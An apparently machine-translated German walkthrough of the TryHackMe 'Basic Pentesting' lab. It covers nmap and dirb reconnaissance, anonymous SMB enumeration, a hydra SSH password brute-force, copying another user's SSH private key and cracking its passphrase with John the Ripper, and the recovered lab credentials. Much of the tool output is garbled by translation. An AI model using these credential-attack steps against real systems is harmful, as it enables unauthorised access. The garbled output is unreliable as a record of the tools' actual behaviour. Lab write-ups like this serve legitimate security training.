Dieses Mal werden wir die Grundlagen von Penetrationstests unter Verwendung von Tryhackmes grundlegendem Pentest untersuchen.
"Tryhackme-Basic Pentesting: https://tryhackme.com/room/basicpentestingjt "





Vorbereitung
Starten Sie zuerst die Zielmaschine!
Stellen Sie den Computer bereit und stellen Sie eine Verbindung zu unserem Netzwerk her
Wählen Sie unten "Startmaschine", um die Zielmaschine zu starten.

Wenn die IP -Adresse angezeigt wird, sind Sie fertig!

Vervollständigen Sie die erste Frage von Tryhackme!

Aufklärung
Zunächst werden wir aufklären und Informationen über die Zielmaschine sammeln.
Finden Sie die von der Maschine freigelegten Dienste
Verwenden Sie NMAP, um von Ihrer Maschine veröffentlichte Dienste zu finden.
nmap -sv -a [Ziel IP]
NMAP -SV -a 10.10.98.167 130 ⨯ Start NMAP 7.92 (https://nmap.org) unter 2023-03-17 23:40 JST NMAP -Scanbericht für 10.10.98.167 Host IS OT (0.25S LATECY). Nicht gezeigt: 994 geschlossene TCP-Ports (conn-gerührt) Port State Service Version 22/TCP Open SSH OpenSSH 7.2P2 Ubuntu 4UBUntu2.4 (Ubuntu Linux; Protocol 2.0) | SSH-Hostkey: | 2048 DB: 45: CB: BE: 4A: 8B: 71: F8: E9: 31: 42: AE: FF: F8: 45: E4 (RSA) | 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA) |_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519) 80/tcp open http apache httpd 2.4.18 ((ubuntu)) | _http-server-header: apache/2.4.18 (ubuntu) | _http-title: Die Seite hat keinen Titel (text/html). 139/TCP Open Netbios-SSN SAMBA SMBD 3.x-4.x (Arbeitsgruppe: Arbeitsgruppe) 445/TCP Open Netbios-SSN SAMBA SMBD 4.3.11-UBUNTU (WorkGroup: WorkGroup) 8009/TCP Open AJP13 Apache JServ (Protocol V1.3) | AJP-Methods: | _ Unterstützte Methoden: Kopfpostoptionen 8080/tcp öffnen http Apache Tomcat 9.0.7 | _http-favicon: Apache Tomcat | _http-title: apache tomcat/9.0.7 Service Info: Host: Basic2; OS: Linux; CPE: CPE:/O: Linux: Linux_kernel Host Skript Ergebnisse: | SMB-OS-Discovery: | Betriebssystem: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computername: Basic2 | Netbios Computername: Basic2 \ x00 | Domänenname: \ x00 | FQDN: Basic2 | _ Systemzeit: 2023-03-17T10: 40: 57-04: 00 | _clock-skew: Mean: 1H19M59S, Abflug: 2H18M34s, Median: 0S | SMB2-Security-Modus: | 3.1.1: | _ Nachrichtensignierung aktiviert, aber nicht erforderlich | _nbstat: netbios name: basic2, netbios user:<unknown> , Netbios Mac:<unknown> (unbekannt) | SMB-Security-Mode: | Account_used: Gast | Authentifizierung_Level: Benutzer | Challenge_Response: unterstützt | _ message_signing: deaktiviert (gefährlich, aber Standard) | SMB2-Zeit: | Datum: 2023-03-17T14: 40: 57 | _ START_DATE: N/A Serviceerkennung durchgeführt. Bitte melden Sie falsche Ergebnisse unter https://nmap.org/submit/. NMAP Fertig: 1 IP -Adresse (1 Host -Up) in 59,84 Sekunden gescannt
Um es einfach auszudrücken, sieht es so aus:
Hafen | Service |
---|---|
22 | ssh |
80 | http |
139 | Netbios-SSN |
445 | Netbios-SSN |
8009 | AJP13 |
8080 | http |
Stellen Sie sicher, dass Sie auch die Fragen ausfüllen.

Wie heißt das versteckte Verzeichnis auf dem Webserver (Name ohne /)?
Suchen Sie nach einem versteckten Verzeichnis auf Ihrem Webserver.
Verwendet "Dirb", einen Webinhaltsscanner.
DIRB http://10.10.98.167 --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- . --------------------Ein
Die Ergebnisse zeigten, dass "http://10.10.98.167/development/" existiert.
Ich werde versuchen, tatsächlich darauf zuzugreifen.

2018-04-23: Ich habe mich mit diesen Streben-Zügen herumgespielt und es ist ziemlich cool! Ich denke, es könnte ordentlich sein, das auch auf diesem Server zu hosten. Ich habe noch keine wirklichen Web -Apps gemacht, aber ich habe das Beispiel ausprobiert, um zu zeigen, wie es funktioniert (und es ist die Restversion des Beispiels!). Oh, und im Moment benutze ich Version 2.5.12, weil mir andere Versionen Ärger haben. -K 2018-04-22: SMB wurde konfiguriert. -K 2018-04-21: Ich habe Apache eingerichtet. Wird später unseren Inhalt einsetzen. -J ===== 2018-04-23: Ich spiele mit dem aus Streben herum und es sieht ziemlich gut aus! Sie können diesen Server auch hosten, wenn er besser ist. Ich habe noch keine wirklichen Webanwendungen erstellt, aber ich habe dieses Beispiel ausprobiert. Sie können zeigen, wie es funktioniert (und es ist die Restversion des Beispiels!). Oh, und jetzt verwende ich Version 2.5.12, weil ich Probleme mit anderen Versionen hatte. -K 2018-04-22: SMB wurde festgelegt. -K 2018-04-21: Apache wurde eingerichtet. Wir werden unsere Inhalte später aufnehmen. -J
Für J: Ich habe den Inhalt von /etc /Shadow geprüft, um sicherzustellen, dass wir keine schwachen Anmeldeinformationen haben, und ich konnte Ihren Hash wirklich leicht knacken. Sie kennen unsere Passwort -Richtlinie. Bitte folgen Sie diesem? Ändern Sie dieses Passwort so schnell wie möglich. -K ===== für J: Ich habe den Inhalt von /etc /Shadow geprüft, um sicherzustellen, dass wir keine schwachen Anmeldeinformationen haben, und ich konnte Ihren Hash wirklich leicht knacken. Möglicherweise kennen Sie unsere Passwort -Richtlinie. Befolgen Sie also die folgenden: Ist das so? Bitte ändern Sie dieses Passwort so schnell wie möglich. -K
Dies wird als Entwicklungsmemo bezeichnet. Es scheint, dass Benutzer mit "J" und "K." beginnen.
Herr K scheint ein SMB -Set zu haben. Der oben genannte NMAP -Scan war auch ein SMB. Das nächste Mal werden wir das nächste Mal mit SMB übernehmen.
Im Moment habe ich herausgefunden, dass das versteckte Verzeichnis "Entwicklung" ist, also werde ich es beantworten.

Was ist der Benutzername?
Verwenden Sie SMBClient, um den gemeinsam genutzten Ordner zu überprüfen.
SMBCLIENT -L 10.10.98.167 Geben Sie die WorkGroup \ Hacklabs Passwort ein: ShareName-Typ Kommentar ------ ---- Anonyme Festplatten-IPC $ IPC IPC-Dienst (Samba Server 4.3.11-Ubuntu) Verbinden Sie sich mit SMB1 für die Arbeitsgruppenliste wieder. Server Comment ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Ich habe herausgefunden, dass es eine versteckte Freigabe von Anonymous und IPC $ gibt.
IPC $ Sharing ermöglicht die Kommunikation mit Inter-Process und anonyme Benutzeranmeldungen, für die kein Benutzername oder Kennwort erforderlich ist.
Verwenden Sie dies, um mit SMBClient anonymous zugreifen zu können.
SMBCLIENT \\\\\ 10.10.98.167 \\ Anonymous Passwort für [WorkGroup \ root]: Versuchen Sie "Hilfe", um eine Liste möglicher Befehle zu erhalten. SMB: \> dir. D 0 Thu 19. April 17:31:20 2018 .. D 0 THU 19. April 17:13:06 2018 Staff.Txt N 173 Thu 19 April 17:29:55 2018 14318640 Blöcke der Größe 1024. 11094536 Blocks verfügbar
Es gab eine Datei namens "Staff.Txt".
Ich werde den Inhalt überprüfen.
SMB: \> More Staff.Txt Ankündigung an Mitarbeiter: Bitte laden Sie nicht mit Arbeiten zu diesem Anteil nicht gearbeitete Artikel hoch. Ich weiß, dass alles Spaß macht, aber so passieren Fehler. (Das bedeutet auch, dass Sie, Jan!) -Kay
Es stellt sich heraus, dass K "Kay" ist und J "Jan." ist
In den Entwicklungsnotizen zuvor wurde gesagt, dass Jans Passwort anfällig war, also werden wir ihn ansprechen.

Was ist das Passwort?
Versuchen Sie für Jan, das Passwort mit Hydra zu knacken.
Mein Benutzername ist "Jan" und meine Passwortliste lautet "Rockyou.txt" jedes Mal. Sie stellen fest, dass SSH bei Ihrer ersten Serviceprüfung geöffnet ist.
hydra -l Jan -p /usr/share/wordlists/rockyou.txt ssh: //10.10.98.167 hydra v9.3 (c) 2022 von Van Hauser/THC & David Maciejak -Bitte verwenden Sie keine Militär- oder Geheimdienstorganisationen, oder für illegale Zwecke (dies sind nicht bindend. Hydra (https://github.com/vanhauser-thc/thc-hydra) ab 2023-03-17 15:55:11 [WARNUNG] Viele SSH-Konfigurationen begrenzen die Anzahl der parallelen Aufgaben. (L: 1/P: 14344399), ~ 896525 Versuche pro Aufgabe [Daten] Angriff ssh: //10.10.98.167: 22/[Status] 156.00 Versuche/min, 156 Versuche in 00: 01H, 1434455 bis 1532 H, 00: 02: 0, 14: 0. 14344035 bis 1959: 35H, 14 Active [Status] 102.29 Versuche/min, 716 Versuche in 00: 07H, 14343685 bis 2337: 12H, 14 Active [22] [SSH] Host: 10.10.98.167 Login: Januar -Wanderweite 1. erst Ende vollständig. [Fehler] 2 Ziele haben sich nicht aufgelöst oder nicht verbunden.
Ich habe gelernt, dass Jans Passwort "Armando" ist.

Lassen Sie mich als nächstes diese Frage beantworten.

In welchem Service zugreifen Sie auf den Server (beantworten Sie in allen Kappen in Abkürzung)?
Versuchen wir nun, mit SSH eine Verbindung zum Zielgerät herzustellen.
ssh Jan@10.10.98.167 Die Authentizität des Host '10 .10.98.167 (10.10.98.167) 'kann nicht festgelegt werden. ED25519 Key Fingerabdruck ist SHA256: xkjdklkocbzjcch0TPriw1pelpuzduftgza4xmda+O4. Dieser Schlüssel ist in keinen anderen Namen bekannt. Sind Sie sicher, dass Sie sich weiter verbinden möchten (ja/nein/[Fingerabdruck])? Ja Warnung: Dauerhaft '10 .10.98.167 '(ed25519) in die Liste der bekannten Hosts. Jan@10.10.98.167's Passwort: Willkommen bei Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64) * Dokumentation: https://help.ubuntu.com * Management: https:/.canonical.com. 0 Updates sind Sicherheitsaktualisierungen. Die im Ubuntu -System enthaltenen Programme sind kostenlose Software. Die genauen Verteilungsbegriffe für jedes Programm werden in den einzelnen Dateien in/usr/share/doc/*/copyright beschrieben. Ubuntu ist mit absolut garantierter Garantie geliefert, sofern dies nach geltendem Recht zulässig ist. Die im Ubuntu -System enthaltenen Programme sind kostenlose Software. Die genauen Verteilungsbegriffe für jedes Programm werden in den einzelnen Dateien in/usr/share/doc/*/copyright beschrieben. Ubuntu ist mit absolut garantierter Garantie geliefert, sofern dies nach geltendem Recht zulässig ist. Letzter Login: Mon 23. April 15.55:45 2018 von 192.168.56.102 Jan@Basic2: ~ $
Ich konnte mich erfolgreich mit der Zielmaschine verbinden.

Wie heißt der andere Benutzer, den Sie gefunden haben (alle unteren Fall)?
Der andere Benutzer ist wahrscheinlich "Kay", aber ich werde für den Fall nach Hause suchen /zu Hause.
CD ../ Jan@Basic2:/ Home $ ls -la Gesamt 16 DRWXR-XR-X 4 Root Root 4096 Apr 19. 2018. DRWXR-XR-X 24 Wurzel Root 4096 Apr 23. 2018. DRWXR-XR-X 2 WOOT ROOT 4096 APR 23. April 2018 Jan DRWXR-XR-X 5 KAY KAY 4096 APR 23. April 2018 Kay Kay
Sie können sehen, dass es Kay neben Jan gibt. Wie erwartet.

Was ist das endgültige Passwort, das Sie erhalten haben?
Lassen Sie uns Kays Passwort knacken.
Gehen Sie zuerst zu Kays Heimverzeichnis.
Jan@Basic2:/Home $ CD Kay Jan@Basic2:/Home/Kay $ ls -la Gesamt 48 DRWXR-XR-X 5 KAY KAY 4096 APR 23. April 2018. -RW -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- .Cache -RW ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 2018 .sudo_as_admin_successful -rw ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Ich würde gerne "pass.bak" sehen, aber es scheint nicht die Autorität zu haben. enttäuschend. . .
Es scheint jedoch, dass ".Ssh" Berechtigungen gelesen hat.
Verwenden Sie den Befehl SCP, um ihn an Kali herunterzuladen.
scp -r jan@10.10.98.167:/home/kay/.ssh ./ jan@10.10.98.167's password: authorized_keys 100% 771 495.4KB/s 00:00 id_rsa 100% 3326 2.1MB/s 00:00 id_rsa.pub 100% 771 536.2KB/s 00:00
Von hier aus werden wir mit Kali zusammenarbeiten.
Schauen wir uns an, was sich im .Ssh befindet.
┌── (root㉿kali)-[~] └─# cd .sssh ┌── (root㉿kali)-[~/.sssh] └─# ll insgesamt 20 -rw---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1 root root 142 17. März 16:06 Bekannte_Hosts.old
Ich möchte einen entschlüsselten Hash aus dem SSH -Privatschlüssel extrahieren, also werde ich "ssh2john.py" von John the Ripper verwenden.
┌── (root㉿kali)-[~/.ssh] └─# python3 /usr/share/john/sssh2john.py id_rsa> hash.txt ┌── (root㉿kali)-[~/.ssh] └└# ll insgesamt 28 28 28 28 28 -RW -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- id_rsa.pub -rw-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Versuchen Sie, John the Ripper mit diesem Hash.txt zu verwenden, um Ihr Passwort zu knacken.
┌── (root㉿kali)-[~/.ssh] └─#/sbin/John-Wortlist =/usr/shary/wortlists/rockyou.txt Hash.txt erstellt Verzeichnis: /root/.john unter Verwendung der Standardeingangscodierung: UTF-8 Lade 1 Kennwort Hash (SSH, SSH, SSHSSH, SSH. (KDF/CIPHER [0 = MD5/AES 1 = MD5/3DES 2 = Bcrypt/AES]) ist 0 für alle geladenen Hashes, die 2 (Iterationsanzahl) ist 1 für alle geladenen Hashes wird 2 OpenMP-Threads ausgeführt. Drücken Sie 'q' oder ctrl-c, um abzubrechen. (2023-03-17 16:19) 14,28G/S 1181KP/S 1181KC/S 1181KC/S BABLAT..BBALL40 Verwenden Sie die Option "--how", um alle geknackten Passwörter zuverlässig abgeschlossen anzuzeigen.
Jetzt wissen wir, dass Kays Passphrase von Kays SSH Private Key "Beeswax" ist.
Ich werde SSH mit Kay versuchen.
Ändern Sie die ID_RSA -Berechtigungen mit CHMOD.
┌── (Root㉿kali)-[~/.ssh] └─#ll insgesamt 28 -RW -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -RW-R-R-- 1 Wurzelwurzel 142 17. März 16:06 Bekannte_Hosts.old ┌── (root㉿kali)-[~/.ssh] └─# chmod 400 id_rsa ┌── (root㉿kali)-[~/.ssh] └─# ll insgesamt 28 -rw--1 Wurzel Wurzel 4762 17. März 16:18 Hash.txt -r -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 771 März 17 16:15 ID_RSA.PUB -Rw ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 4.4.0-119-generic x86_64) * Dokumentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Unterstützung: https://ubuntu.com/advantage 0 Pakete können aktualisiert werden. 0 Updates sind Sicherheitsaktualisierungen. Letzter Login: Mon 23. April, 16:04:07 2018 von 192.168.56.102 Kay@Basic2: ~ $
Ich konnte mich erfolgreich anmelden.
Fahren Sie so fort, um den Pass zu überprüfen. Bak, das Sie zuvor erwähnt haben.
Kay@Basic2: ~ $ ls pass.bak kay@Basic2: ~ $ cat pass.bakheresarystrongPassword -thatFollowsThePassWordPolicy $$

Ich habe es geschafft, die Flagge erfolgreich zu bekommen.
Zusammenfassung
Dieses Mal haben wir die Grundlagen des Penetrationstests mithilfe von Tryhackmes grundlegendem Pentest ausprobiert.
Als Anfänger war es genau das richtige Niveau.
Ich lerne zum ersten Mal über SSH2John.py. Ich denke, ich werde versuchen, einen Raum zu verwenden, der an verschiedenen anderen Orten verwendet werden kann.
Referenzen und Websites
InfosecwriteUps: https://infosecwriteups.com/tryhackme-basic-penting-walkthrough-7817c719fd04
Hamayanhamayan: https://blog.hamayanhamayan.com/entry/2021/05/12/004620